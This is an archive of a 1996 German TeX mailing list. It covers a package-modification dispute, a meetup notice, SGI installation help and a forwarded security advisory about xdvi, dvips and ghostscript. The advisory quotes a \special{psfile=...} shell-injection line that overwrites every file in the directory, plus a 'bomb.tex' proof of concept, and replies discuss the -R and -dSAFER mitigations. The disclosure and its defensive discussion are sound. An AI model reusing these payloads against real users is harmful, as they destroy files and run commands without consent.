*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Apr 17 06:55:34 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gundolf Frank Date: Wed, 17 Apr 1996 06:39:00 +0200 Subject: Re: Bilder immer aussen Hallo Luzia, Du meintest am 16.04.96 um 10:31 im Brett /MAUS/TeX-D-L zum Thema "Re: Bilder immer aussen": > hm. _so_ ist das aber nicht in ordnung. hier ist nirgends vermerkt, > dass und welche aenderungen an dem original von friedhelm von wem > und wann vorgenommen worden sind. das ist gegenueber friedhelm, den > anwendern und den betreuern, die fragen beantworten muessen, extrem > unfair. Es war auch nur f=FCr den internen Gebrauch. Ich hatte wie schon geschrieben, damals an Friedhelm geschrieben, aber er hat nicht geantwortet (2x).Daraufhin habe ich den Style nicht veroeffentlicht. > > nichtsdestotrotz haette mehr als die lapidaren hinweise 'original' und > 'aenderung' rein gemusst. ich hoffe, diese version des makros wurde > nicht auf den server gelegt. Warum? Bei internen Gebrauch. Das ich dies diesmal veroeffentlicht habe, lag an der Fragestellung, die genau auf die Aenderung passte. Insofern fand ich es ok. Vielleicht aeu=DFert sich Friedhelm mal dazu. Wenn es mal eine 2e-Version des Styles geben wird, bin ich bereit dies dort einzubauen und ihm zur Verfuegung zu stellen. Ich wuensche noch einen schoenen Restttag Gundolf ## CrossPoint v3.1 ## From owner-tex-d-l@VM.GMD.DE Wed Apr 17 08:55:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 17 Apr 1996 08:55:06 +0200 Subject: Re: Bilder immer aussen Gundolf Frank schreibt: : Hallo Luzia, : : Du meintest am 16.04.96 um 10:31 im Brett /MAUS/TeX-D-L : zum Thema "Re: Bilder immer aussen": : : > hm. _so_ ist das aber nicht in ordnung. hier ist nirgends vermerkt, : > dass und welche aenderungen an dem original von friedhelm von wem : > und wann vorgenommen worden sind. das ist gegenueber friedhelm, den : > anwendern und den betreuern, die fragen beantworten muessen, extrem : > unfair. : Es war auch nur fuer den internen Gebrauch. Ich hatte wie schon : geschrieben, damals an Friedhelm geschrieben, aber er hat nicht : geantwortet (2x).Daraufhin habe ich den Style nicht veroeffentlicht. Luzia hat sich noch recht gemaessigt ausgedrueckt. Waere es einer von meinen .sty-Files gewesen (und insbesondere gar noch german.sty), waere ich dir kraeftig auf die Fuesse gestiegen! : > nichtsdestotrotz haette mehr als die lapidaren hinweise 'original' und : > 'aenderung' rein gemusst. ich hoffe, diese version des makros wurde : > nicht auf den server gelegt. : Warum? Bei internen Gebrauch. Das ich dies diesmal veroeffentlicht habe, : lag an der Fragestellung, die genau auf die Aenderung passte. Insofern : fand ich es ok. NEIN, NEIN, NEIN! Nichts ist ok. Deine Version ist durch die Veroeffentlichung nicht mehr ``intern''. Jede Veroeffentlichung, und sei sie noch so unbedeutend und auf einen kleinen Leserkreis beschraenkt, taucht nach einiger Zeit an so vielen Stellen auf und wird auch fleissig verwendet. Deshalb _muss_ _jede_ Aenderung vor Veroeffentlichung vermerkt im .sty-File sein -- und das moeglichst auffaellig. Und wenn man dann nicht mal den Namen des Files aendert, muss es umso auffaelliger geschehen. : Vielleicht aeussert sich Friedhelm mal dazu. Wenn es mal eine 2e-Version : des Styles geben wird, bin ich bereit dies dort einzubauen und ihm zur : Verfuegung zu stellen. Was soll Friedhelm noch dazu sagen? Vielleicht "Danke, dass ich ab sofort auch noch Fehlermeldungen fuer eine Version von picinpar.sty bekomme, die ich gar nicht kenne?" ....ich wuerde mich wahrlich dafuer bedanken!! Grmbl. Wieso stehen wohl in vielen Paketen Hinweise darauf, dass man nichts aendern soll und wenn doch, sollte man den Namen des Pakets aendern? Wie waer's: veroeffentliche doch mal bitte selbst ein eigenes Paket. Sobald dieses mal von einer groesseren Gruppe eingesetzt wird, wirst du wissen, wovon ich rede. Etwas veraergert, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Apr 17 11:31:27 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Wed, 17 Apr 1996 11:30:42 +0200 Subject: Re: Bilder immer aussen Gundolf Frank (Gundolf@adfc.tng.oche.de) schrieb am 17.4.1996, 06:39:00 > Es war auch nur f=FCr den internen Gebrauch. Ich hatte wie schon > geschrieben, damals an Friedhelm geschrieben, aber er hat nicht > geantwortet (2x).Daraufhin habe ich den Style nicht veroeffentlicht. hm. wenn jemand fuer den eigenen gebrauch etwas anedert, mag es angehen, diese aenderungen nicht zu dokumentieren (obwohl ich persoenlich auch in diesem fall entsprechende kommentare einbaue, um spaeter naemlich schnell und einfach wieder reinzukommen), sobald etwas aber einer zweiten person zugaenglich gemacht wird, ist das nicht mehr so. ich spreche hier mit der jahrelangen erfahrung in benutzerbetreuung. ich war schon bass erstaunt, auf welchen wegen irgendwelche makros wieder zu mir zurueck- kamen. in diesem speziellen fall: wenn irgendein sehr eifriger mensch nun hin- geht, das mailing abspeichert, den original style von friedhelm damit ueberschreibt und dann auf irgendeinem weg das geaenderte weitergibt, diese wiederum von einem benutzer in meine beratung getragen wird mit einer mir nicht verstaendlichen benutzung und fehlermeldung, kann es diesem benutzer ziemlich uebel bei mir ergehen. wofuer er nichts kann, denn er weiss ja gar nicht, dass da was geaendert wurde. und ich kann es nicht ohne weiteres erkennen, weil es an der stelle, wo ich danach suchen wuerde, keine markierung gibt. unter anderem deshalb finde ich es unfair, aenderungen nicht zu doku- mentieren. ganz abgesehen von den gruenden, die friedhelm und bernd genannt haben. mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Apr 17 17:09:34 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Uwe Muench Date: Wed, 17 Apr 1996 16:54:18 +0200 Subject: TeX-Stammtisch Koeln am 23.4. Hallo! Ab April gibt es einen TeX-Stammtisch/Workshop in K"oln. Er findet jeden 4. Dienstag im Monat um 20 Uhr im ZPR statt. Genauere Informationen befinden sich im WWW unter der URL http://www.uni-koeln.de/themen/texmf/lokal/termine.html#stammtisch Der n"achste Termin ist der 23.4.1996, 20 Uhr. Achtung!: Im Mai wird der Stammtisch am Freitag, den 31.5.96, 20 Uhr, stattfinden; der Ort steht noch nicht fest. An diesem Tage wird Thomas Esser aus Hannover "uber seine tetex-Distribution erz"ahlen. N"ahere Informationen sind zun"achst "uber http://www.uni-koeln.de/themen/texmf/lokal/termine.html#tetex zu erhalten. ------- Hier nochmal die wichtigsten Infos zum n"achsten Stammtisch-Treffen im April: Datum und Zeit Di, 23. 4. 1996, 20 Uhr Geplante Themen (u.a.): - Overfull hbox..., was tun? (Block- vs. Flattersatz, \emergencystretch), - Wie verschicke ich in einem Dokument benutzte Pakete am besten? Ort Seminarraum des ZPR (Zentrum f"ur Paralleles Rechnen) Weyertal 80 50931 K"oln Der Seminarraum befindet sich im Keller links. Sonstiges Die Teilnahme an den Treffen ist nicht beschr"ankt, eine Anmeldung erfolgt nicht. WICHTIG: Bei den Veranstaltungen besteht kein Versicherungsschutz! Stammtisch-Leiter K"oln Uwe M"unch, Tel. (privat): +49-2203-87111, E-mail muench@rrz.uni-koeln.de MfG, Uwe M"unch ------------------------------------------------------------------------------ Uwe M\"unch, Schmittgasse 92, D-51143 K\"oln, email: muench@ph-cip.uni-koeln.de TeX-Betreuer RRZK, RRZK-RII, Raum 11, Tel: +49-221-478-5372 "For a successful technology, reality must take precedence over public relations, for nature cannot be fooled." - Richard Feynman From owner-tex-d-l@VM.GMD.DE Thu Apr 18 12:23:11 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jobst-Hartmut Lueddecke Date: Thu, 18 Apr 1996 12:26:10 +0200 Subject: Re: Bilder immer aussen >Erfahrungen gemacht) aber ich denke, da"s sollte ein Systemadministrator >doch zu verhindern wissen (z.B. durch Vergleich des Absendernamen mit >dem Autorennamen). das duerfte unnoetige Arbeit machen und ich habe auch schon im Auftrag Styles auf den Server gepackt (ich bin zwar im Style als Tester erwaehnt, bin aber nicht der Author). mfg Jobst-Hartmut Lueddecke From owner-tex-d-l@VM.GMD.DE Thu Apr 18 12:12:35 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Thu, 18 Apr 1996 12:07:49 MESZ Subject: Re: Bilder immer aussen Nur soweit zum Streitpunkt Patch markieren oder nur intern nutzen, da ich derjenige bin, der picinpar nutzen will und die Lawine ins Rollen gebracht habe: Vielen Dank an Gundolf Frank, da"s er mit helfen wollte. Das originale picinpar.sty wird nach wie vor in unserem Novell-Netz bleiben. Gundolfs Version werde ich in picinpau.sty (au - au"sen) umbenennen und eventuell noch mit einem Kommentar (bez"uglich der in der Liste gef"uhrten Diskussion) versehen. (So w"are ich "ubrigens auch ohne die gef"uhrte Diskussion vorgegangen. Trotzdem ist es sicher gut, wenn das mal deutlich gesagt wird.) Selbstverst"andlich werde ich nicht das Werk anderer Leute auf einen "offentlichen Server wie den Dante Server stellen. Das m"ochte derjenige schon selbst tun. Ich teile nicht die Ansicht, da"s sich irgendjemand mails mit Style-Dateien anderer abspeichert um diese dann auf "offentliche Server zu legen. Mir fehlt zwar die Erfahrung in solchen Dingen (offensichtlich hat Luzia Dietsche andere Erfahrungen gemacht) aber ich denke, da"s sollte ein Systemadministrator doch zu verhindern wissen (z.B. durch Vergleich des Absendernamen mit dem Autorennamen). Tsch"u"s Andreas. From g029 Thu Apr 18 15:39:18 1996 Reply-To: guenter.partosch@hrz.uni-giessen.de Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Date: Thu, 18 Apr 1996 15:39:18 +0200 (CET) Subject: Sicherheitsluecken in xdvi? Mir ist folgende E-Mail, die Xdvi betrifft zugegangen: ----- Forwarded message from Ernst Haupenthal ----- >From Ernst.Haupenthal@mch.sni.de Thu Apr 18 10:57:34 1996 Received: from hermes.hrz.uni-giessen.de by jumbo.hrz.uni-giessen.de (AIX 3.2/UCB 5.64/4.03 spez jumbo U437398) id AA32118; Thu, 18 Apr 1996 10:57:32 +0200 Received: from thoth.mch.sni.de by hermes.hrz.uni-giessen.de; Thu, 18 Apr 96 10:57:46 +0200 Received: from hippo.mch.sni.de (hippo.mch.sni.de [192.54.54.16]) by thoth.mch.sni.de (8.7.5/8.7.3) with SMTP id KAA25278; Thu, 18 Apr 1996 10:45:01 +0200 (MDT) Received: by hippo.mch.sni.de id AA05370 (5.65c/graf-1.0 for irix-admins); Thu, 18 Apr 1996 10:43:44 +0200 From: Ernst Haupenthal Message-Id: <199604180843.AA05370@hippo.mch.sni.de> Subject: Security Information To: irix-admins@hippo.mch.sni.de Date: Thu, 18 Apr 1996 10:43:43 +0200 (MDT) X-Mailer: ELM [version 2.4 PL22] Content-Type: text Liebe Irix-Administrationen, die folgende Security - Information erreichte mich von Hr. Dr. Corr aus Kaiserslautern. Ich gebe Sie hier unveraendert weiter ----------- es folgt die Info aus Kaiserslautern ----------------------------- Dr. Reinhard Corr Kaiserslautern, den 17.4.96 e-mail: corr@rhrk.uni-kl.de Sehr geehrter Herr Haupenthal! In den news "security" bin ich auf eine Sicherheitsluecke bei der Benutzung des Tools "gs" = "ghostscript" im Zusammenhang mit andern Programmen, gestossen. Die News steht im Anhang. Das Programm "gs" wird von vielen anderen Programmen intern aufgerufen, zum Beispiel: ghostview, xdvi, dvips (wichtig im Zusammenhang mit TeX, aber auch mit WWW). Hierbei wird "gs" sehr haeufig mit den Rechten des aufrufenden Nutzers ueber einen SystemCall gestartet (Der erste Teil der Sicherheitsluecke). Was nun in den dvi-Dateien alles drin steht, weiss keiner so genau (Der zweite Teil der Sicherheitsluecke). Man kann zum Beispiel in dvi-Dokumenten weitere Encapsulated-Postscript- Dokumente eingebunden haben, die zum Beispiel xdvi ueber "gs" aufschluesseln laesst. Jetzt wird intern ueber einen SystemCall der "gs" gestartet, wobei der Dateiname der aufzuloesenden Datei mitgegeben wird. Was passiert aber, wenn dieser Dateiname nicht ein normaler Dateiname ist, sondern wie in einer ganz normalen Shell als Kommandosubstitution geschrieben ist. Damit wird diese Kommandosubstitution aufgerufen und alle Aktivitaeten darin laufen unter den vollen Rechten des Nutzers ab. Als ein Beispiel kann man sich mit WWW die Seite http://sgi400.rhrk.uni-kl.de/corr anschauen. Hier gehe ich von den Pfaden aus, wie sie auf den SGI-Maschinen ueblich sind. Man kann dies aber auch auf andere Maschinen umschreiben oder die Pfade in der Kommandosubstituion noch suchen lassen. In dem Beispiel wird davon ausgegangen dass in den Pfaden xmessage, xdvi und mail aufrufbar ist. Viel Spass beim Ausprobieren. Als Anhang fuege ich noch die TeX-Datei an, mit der diese dvi-Datei erzeugt wurde. Mit freundlichen Gruessen Dr. Reinhard Corr *************************************************************************************** Anhang: *************************************************************************************** News: Subject: Re: Manipulation via Postscript Files =?ISO Date: 14 Mar 1996 09:58:45 GMT Organization: GMD, Sankt Augustin, Germany Lines: 9 Message-ID: <4i8qkl$i7s@omega.gmd.de> References: <3145651C.6AEE@thphy.uni-duesseldorf.de> Reply-To: schild@gmd.de NNTP-Posting-Host: casun.gmd.de Man sollte meiner Meinung nach auch vorsichtig sein beim Ausdrucken fremder dvi- Dateien, oder genauer wenn man dabei dvips von Tom Rokicki verwendet. Vielleicht ist noch keiner darauf gekommen, aber dieses Programm nimmt z.B. anstandslos de n folgenden TeX-Befehl: \special{psfile="`for f in `ls`; do echo Pech gehabt! >$f; done"} Nur mal so als Beispiel. Diese Anweisung erscheint dann zwar auf dem Terminal, a ber vielleicht zu spaet. Goeran Schild (goeran.schild@gmd.de) *********************************************************************************** bomb.tex: \documentclass[12pt,a4paper]{report} \begin{document} \special{psfile="`echo /dev/null;( sleep 5 ; if [ ! -f /tmp/$USER.dvibomb ] ; then echo A trace of dvi bomb is the file /tmp/$USER.dvibomb | mail $USER ; xmessage The bomb explosion is finished, you have got mail. 1>&- & fi; touch /tmp/$USER.dvibomb ) 1>&- & "} Die dvi Dateien an sich sind ungef\"ahrlich. Nur im Zusammenspiel des Browsers xdvi, eventuell auch des Umwandlers dvi, mit eingebundenen Post- scriptdateien und dem Programm ghostscript, kann es zu einer gef\"ahrlichen Mischung kommen. xdvi ruft intern \"uber einen Systemcall ghostscript auf, wobei ein Dateiname \"ubergeben wird. Wird als Dateiname ein String \"uber- geben, in dem f\"ur die shell eine Kommandosubstitution steht, wird diese Substitution zuerst ausgef\"uhrt. Damit war die Bombe gez\"undet. Mit TeX l\"a\"st sich sehr leicht eine solche Datei erzeugen. \end{document} -- Mit freundlichen Gruessen / Best Regards Ernst Haupenthal ---------------------------------------------------------------------- Ernst Haupenthal,Siemens Nixdorf,Scientific Computing,Otto-Hahn-Ring 6 D-81730 Muenchen Tel: +49+89-636-41057, Fax :+49+89-636-44088 Email: ernst.haupenthal@mch.sni.de X.400: C=DE/A=DBP/P=SCN/O=SNI/OU1=MCH1/OU2=S11/S=HAUPENTHAL/G=ERNST ---------------------------------------------------------------------- ----- End of forwarded message from Ernst Haupenthal ----- Gruss Guenter Partosch -- Guenter Partosch Tel. +49 (641) 702 2170 Hochschulrechenzentrum der Secr. +49 (641) 702 2511 Justus-Liebig-Universitaet Giessen Fax +49 (641) 702 2525 Heinrich-Buff-Ring 44 35392 Giessen Internet: Guenter.Partosch@hrz.uni-giessen.de From owner-tex-d-l@VM.GMD.DE Thu Apr 18 16:08:13 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Thu, 18 Apr 1996 16:02:21 +0200 Subject: Re: Sicherheitsluecken in xdvi? On Thu, 18 Apr 1996, Guenter Partosch wrote: > Man kann zum Beispiel in dvi-Dokumenten weitere Encapsulated-Postscript- > Dokumente eingebunden haben, die zum Beispiel xdvi ueber "gs" aufschluesseln > laesst. Jetzt wird intern ueber einen SystemCall der "gs" gestartet, wobei der > Dateiname der aufzuloesenden Datei mitgegeben wird. Was passiert aber, wenn > dieser Dateiname nicht ein normaler Dateiname ist, sondern wie in einer ganz > normalen Shell als Kommandosubstitution geschrieben ist. > > Damit wird diese Kommandosubstitution aufgerufen und alle Aktivitaeten darin > laufen unter den vollen Rechten des Nutzers ab. > > Viel Spass beim Ausprobieren. > > Als Anhang fuege ich noch die TeX-Datei an, mit der diese dvi-Datei erzeugt wurde. > > Mit freundlichen Gruessen > Dr. Reinhard Corr Ich hab's ausprobiert, und siehe da, dvips verfuegt nicht umsonst ueber eine Option "R Run securely" (dvipsk 5.58f), mit der solche Dinger verboten sind bzw. unterbunden werden. Wenn man diese Option in seine config.ps schreibt, dann sollte man vor xmessages und bomb-mails sicher sein. Herzliche Gruesse aus dem "Hochsommer" in Muenchen Matthias -- Matthias Eckermann, cand.phil., Munich/Germany | errare (email) M.Eckermann@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/u/ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Thu Apr 18 16:16:57 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Thu, 18 Apr 1996 16:13:00 +0200 Subject: Re: Sicherheitsluecken in xdvi? Matthias Eckermann schreibt: > Ich hab's ausprobiert, und siehe da, > dvips verfuegt nicht umsonst ueber eine Option > "R Run securely" (dvipsk 5.58f), mit der solche Dinger verboten sind > bzw. unterbunden werden. Auch Ghostscript hat eine solche Option (-dSAFER). Man muss nur bei xdvi (durch geeignetes Compilieren) daf"ur sorgen, dass gs mit dieser Option aufgerufen wird. Ich glaube, neuere xdvis sind schon entsprechend voreingestellt. Dasselbe gilt nat"urlich f"ur andere Ghostscript aufrufende Programme wie zum Beispiel ghostview oder `magische' Druckerspooler. Gerade bei letzteren ist die Gefahr eher noch gr"osser, da sie evtl. privilegiert laufen. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de The higher the buildings, the lower the morals. --- Noel Coward From owner-tex-d-l@VM.GMD.DE Thu Apr 18 20:40:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Holger Grothe Date: Thu, 18 Apr 1996 17:15:34 MESZ Subject: Re: Sicherheitsluecken in xdvi? > Matthias Eckermann schreibt: > > > Ich hab's ausprobiert, und siehe da, > > dvips verfuegt nicht umsonst ueber eine Option > > "R Run securely" (dvipsk 5.58f), mit der solche Dinger verboten sind > > bzw. unterbunden werden. > > Auch Ghostscript hat eine solche Option (-dSAFER). Man muss nur bei xdvi > (durch geeignetes Compilieren) daf"ur sorgen, dass gs mit dieser Option > aufgerufen wird. Ich glaube, neuere xdvis sind schon entsprechend > voreingestellt. > Das ist zwar richtig, aber zumindestens das angehaengte Beispiel zielt nach meiner (zugegebenermassen Schnell-)Analyse nach, doch auf etwas anderes. Irgendwann wird Ghostscript aufgerufen und zwar via eines geeigneten Systemaufrufes, grob vereinfacht dargestellt, als "gs " In der Defaultoptionsliste sollte und darf in diesem Fall auch ein -dSAFER stehen (In neueren xdvis ist es wirklich eingebaut). Wenn man es nun schafft als PSFile ein `UNIX-Kommando` (man beachte die Hochkommas) zu uebergeben, wird zunaechst das UNIX-Kommando ausgefuehrt (mit allen boesen Folgen) und der Output dieses Kommandos wird als Dateiname verwendet (ggf. ist das dann zwar kein vernuenftiger Dateiname, aber das "Unglueck" ist dann ja bereits passiert). In xdvi (pl20) wird dies explizit in special.c abgefangen (xdvi: shell escape disallowed for special ...). Die Version von Karl Berry (xdvik-1.8f, ist dies die aktuelle Version?) hat bei mir eine "dvi bomb" erzeugt, obwohl ich nach einem ganz fluechtigen Blick in das dort verwendete special.c auch den Eindruck habe, dass dort eine entsprechende Abfrage eingebaut ist (Da muss ich nochmal eine genauere Analyse machen). > Dasselbe gilt nat"urlich f"ur andere Ghostscript aufrufende Programme wie > zum Beispiel ghostview oder `magische' Druckerspooler. Gerade bei letzteren > ist die Gefahr eher noch gr"osser, da sie evtl. privilegiert laufen. Es ist meiner Meinung nach dann sinnvoller, bei Ghostscript von Hause aus -dSAFER voreinzustellen, als zu hoffen, dass jedes Ghostscript aufrufende Programm es schon richtig machen wird. Holger -- Holger Grothe (Email: grothe@mathematik.th-darmstadt.de) Fachbereich Mathematik, TH Darmstadt From owner-tex-d-l@VM.GMD.DE Thu Apr 18 21:52:51 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Thu, 18 Apr 1996 21:07:31 +0200 Subject: Re: Sicherheitsluecken in xdvi? On Thu, 18 Apr 1996, Holger Grothe wrote: > > > Matthias Eckermann schreibt: > > > > > Ich hab's ausprobiert, und siehe da, > > > dvips verfuegt nicht umsonst ueber eine Option > > > "R Run securely" (dvipsk 5.58f), mit der solche Dinger verboten sind > > > bzw. unterbunden werden. > > > > Auch Ghostscript hat eine solche Option (-dSAFER). Man muss nur bei xdvi > > (durch geeignetes Compilieren) daf"ur sorgen, dass gs mit dieser Option > > aufgerufen wird. Ich glaube, neuere xdvis sind schon entsprechend > > voreingestellt. Ich fuehle mich falsch zitiert: der Teil von "Ich hab's ausprobiert ..." bis "... unterbunden werden" stammt von mir; ABER: der Teil ueber Ghostscript und xdvi von Anselm Lingnau. Und fuer dvips mit "-R" (respektive "R" in config.ps) gilt eben doch, dass die verdeckten Shellscripten nicht ausgefuehrt werden. Und ueber die Option "R" im Config-File sollte sich das Problem auch fuer Programme umgehen lassen, die dvips benutzen, da dvips (meines Wissens) diese Config-Datei niemals umgeht, sondern hoechstens andere "darauf" laed. Gruss Matthias -- Matthias Eckermann, cand.phil., Munich/Germany | errare (email) M.Eckermann@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/u/ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Fri Apr 19 09:08:46 1996 Mime-Version: 1.0 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gerhard Zelder Date: Fri, 19 Apr 1996 09:07:53 +0200 Subject: SGI Installation Hallo liebe TeXianer, ich stehe vor dem Problem, TeX/LaTeX auf SGI mit IRIX 5.3 zu installieren. Nach laengerem probieren, habe ich auch eine lauffaehige Version zustande gebracht. Allerdings soll es nun auf dem zentralen Server (auch SGI) installiert werden, und der hat keinen C-Compiler. Also wollte ich einfach meine Version auf diesen Rechner kopieren (mit einer anderen Pfadstruktur). Jetzt findet TeX/LaTeX aber seine Dateien nicht mehr. Alle Versuche, TeX an diese neue Pfadstruktur anzupassen scheiterten. Das im 'kpathsea.info' beschriebene 'texmf.cnf' hat wohl keine Auswirkungen auf die Pfade, obwohl es so geschrieben stand. Sind vielleicht die Pfadangaben beim compilieren in den Programmen selbst eingebaut worden ? Um Hilfe waere ich sehr dankbar, denn ich bin kein erfahrener Unix-Experte, und bei uns weiss darueber sonst auch keiner Bescheid. Vielen Dank im voraus Euer Gerhard Zelder ----------------------- Gerhard Zelder Sulzer Innotec, CH-Winterthur gerhard.zelder@sulzer.ch From owner-tex-d-l@VM.GMD.DE Fri Apr 19 09:25:54 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Fri, 19 Apr 1996 09:25:25 +0200 Subject: Re: SGI Installation Gerhard Zelder schreibt: > Alle Versuche, TeX an diese neue Pfadstruktur anzupassen scheiterten. Das im > 'kpathsea.info' beschriebene 'texmf.cnf' hat wohl keine Auswirkungen auf die > Pfade, obwohl es so geschrieben stand. Sind vielleicht die Pfadangaben beim > compilieren in den Programmen selbst eingebaut worden ? Damit die Programme texmf.cnf beachten k"onnen, m"ussen sie es irgendwie finden. Zumindest der Pfad von texmf.cnf muss also in den Programmen selber stehen (oder vielmehr in der kpathsea-Bibliothek), oder sie m"ussen ihn irgendwie herausfinden. Ich kann allen Unix-Anwendern nur immer wieder die hervorgl"anzende teTeX-Distribution von Thomas Esser empfehlen, in der unter anderem dieses Problem elegant gel"ost wird. Es gibt vor"ubersetzte Versionen f"ur alle m"oglichen Rechner -- ich weiss jetzt nicht auswendig, ob auch f"ur IRIX, aber unwahrscheinlich w"ar's nicht --, aber es ist, falls n"otig, auch recht bequem selbst zu machen. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de Technology is a gift of God. After the gift of life it is perhaps the greatest of God's gifts. It is the mother of civilizations, of arts and of sciences. --- Freeman Dyson, *Infinite in All Directions* From owner-tex-d-l@VM.GMD.DE Fri Apr 19 09:46:20 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Kaufmann Date: Fri, 19 Apr 1996 09:45:41 +0200 Subject: Re: SGI Installation G"o, den 19.04.1996 [Anselm Lingnau :] > > Gerhard Zelder schreibt: > > > Alle Versuche, TeX an diese neue Pfadstruktur anzupassen scheiterten. Das im > > 'kpathsea.info' beschriebene 'texmf.cnf' hat wohl keine Auswirkungen auf die > > Pfade, obwohl es so geschrieben stand. Sind vielleicht die Pfadangaben beim > > compilieren in den Programmen selbst eingebaut worden ? > > Damit die Programme texmf.cnf beachten k"onnen, m"ussen sie es irgendwie > finden. Zumindest der Pfad von texmf.cnf muss also in den Programmen > selber stehen (oder vielmehr in der kpathsea-Bibliothek), oder sie > m"ussen ihn irgendwie herausfinden. > Um den eincompilierten Suchpfad f"ur texmf.cnf zu "uberschreiben, kann die Umgebungsvariable TEXMFCNF gesetzt werden, z.B.: export TEXMFCNF=/....../texmf/web2c In texmf.cnf selbst ist dann noch in der Zeile TEXMF=/....../texmf der korrekte Pfad f"ur den texmf-Baum einzutragen. Auf keinen Fall sollte man vers"aumen, die ls-R Datenbank zu aktualisieren (die darf eher fehlen, als nicht aktuell sein!!): cd /....../texmf ls -LR /...../texmf >ls-R ^-- hier mu"s der komplette Suchpfad stehen!! Jetzt sollte eigentlich alles funktionieren. Eventuell mu"s man noch einige Pfade in MakeTeXPK anpassen. Viel Erfolg, Joachim -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From owner-tex-d-l@VM.GMD.DE Fri Apr 19 10:59:20 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Palme Date: Fri, 19 Apr 1996 10:59:11 +0200 Subject: Re: SGI Installation Anselm Lingnau: > > > Ich kann allen Unix-Anwendern nur immer wieder die hervorgl"anzende > teTeX-Distribution von Thomas Esser empfehlen, in der unter anderem dieses > Problem elegant gel"ost wird. Es gibt vor"ubersetzte Versionen f"ur alle > m"oglichen Rechner -- ich weiss jetzt nicht auswendig, ob auch f"ur IRIX, > aber unwahrscheinlich w"ar's nicht --, aber es ist, falls n"otig, auch > recht bequem selbst zu machen. Es gibt eine Version fuer Irix 5.3; die laeuft bei uns sehr gut. Die LS-R-Datenbank wird hier mit dem Shell-Script 'texhash' gepflegt -- eine sehr bequeme Loesung (man darf es nur nicht vergessen, wenn man z.B. neue LaTeX-Pakete installiert hat :-). Gruss, ====================================================================== Hubert Palme Bergische Universitaet-Gesamthochschule Wuppertal Computing Center D-42097 Wuppertal Email: palme@uni-wuppertal.de (Germany) http://www.uni-wuppertal.de/hrz/daten/adressen/h.palme.html From owner-tex-d-l@VM.GMD.DE Fri Apr 19 11:09:23 1996 Mime-Version: 1.0 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gerhard Zelder Date: Fri, 19 Apr 1996 11:08:51 +0200 Subject: Antw.: Re: SGI Installation Vielen Dank fuer die Resonanz ! Ich habe es genau so wie von Joachim beschrieben durchgefuehrt, aber beim Starten von LaTeX findet er trotzdem die Format-Files nicht. Eine ls-R Datenbank habe ich nicht, aber Du sagtest ja, das wuerde nichts ausmachen. Wie koennte ich nun weiter verfahren ? Gruesse Gerhard. _______________________________________________________________________________ Betreff:Re: SGI Installation Von:jkaufma@GWDG.DE bei CH-Internet Datum:19.4.1996 9:47 Uhr G"o, den 19.04.1996 [Anselm Lingnau :] > > Gerhard Zelder schreibt: > > > Alle Versuche, TeX an diese neue Pfadstruktur anzupassen scheiterten. Das 